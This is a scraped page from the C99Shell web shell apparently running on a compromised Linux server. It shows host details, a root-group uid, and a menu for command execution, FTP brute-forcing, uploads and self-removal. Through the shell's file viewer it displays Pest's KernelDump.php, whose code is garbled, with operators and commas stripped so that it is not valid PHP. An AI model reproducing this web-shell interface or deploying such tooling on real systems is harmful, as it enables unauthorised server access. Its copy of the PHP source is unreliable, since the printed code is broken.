!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/   drwxr-xr-x
Free 29.06 GB of 117.98 GB (24.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     KernelDump.php (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest;

use 
Pest\Support\View;
use 
Symfony\Component\Console\Output\OutputInterface;

final class 
KernelDump
{
    
/**
     * The output buffer, if any.
     */
    
private string $buffer '';

    
/**
     * Creates a new Kernel Dump instance.
     */
    
public function __construct(
        private readonly 
OutputInterface $output,
    ) {
        
// ...
    
}

    
/**
     * Enable the output buffering.
     */
    
public function enable(): void
    
{
        
ob_start(function (string $message): string {
            
$this->buffer .= $message;

            return 
'';
        });
    }

    
/**
     * Disable the output buffering.
     */
    
public function disable(): void
    
{
        @
ob_clean(); // @phpstan-ignore-line

        
if ($this->buffer !== '') {
            
$this->flush();
        }
    }

    
/**
     * Terminate the output buffering.
     */
    
public function terminate(): void
    
{
        
$this->disable();
    }

    
/**
     * Flushes the buffer.
     */
    
private function flush(): void
    
{
        
View::renderUsing($this->output);

        if (
$this->isOpeningHeadline($this->buffer)) {
            
$this->buffer implode(PHP_EOLarray_slice(explode(PHP_EOL$this->buffer), 2));
        }

        
$type 'INFO';

        if (
$this->isInternalError($this->buffer)) {
            
$type 'ERROR';
            
$this->buffer str_replace(
                
sprintf('An error occurred inside PHPUnit.%s%sMessage:  'PHP_EOLPHP_EOL), ''$this->buffer,
            );
        }

        
$this->buffer trim($this->buffer);
        
$this->buffer rtrim($this->buffer'.').'.';

        
$lines explode(PHP_EOL$this->buffer);

        
$lines array_reverse($lines);
        
$firstLine array_pop($lines);
        
$lines array_reverse($lines);

        
View::render('components.badge', [
            
'type' => $type,
            
'content' => $firstLine,
        ]);

        
$this->output->writeln($lines);

        
$this->buffer '';
    }

    
/**
     * Checks if the given output contains an opening headline.
     */
    
private function isOpeningHeadline(string $output): bool
    
{
        return 
str_contains($output'by Sebastian Bergmann and contributors.');
    }

    
/**
     * Checks if the given output contains an opening headline.
     */
    
private function isInternalError(string $output): bool
    
{
        return 
str_contains($output'An error occurred inside PHPUnit.')
            || 
str_contains($output'Fatal error');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--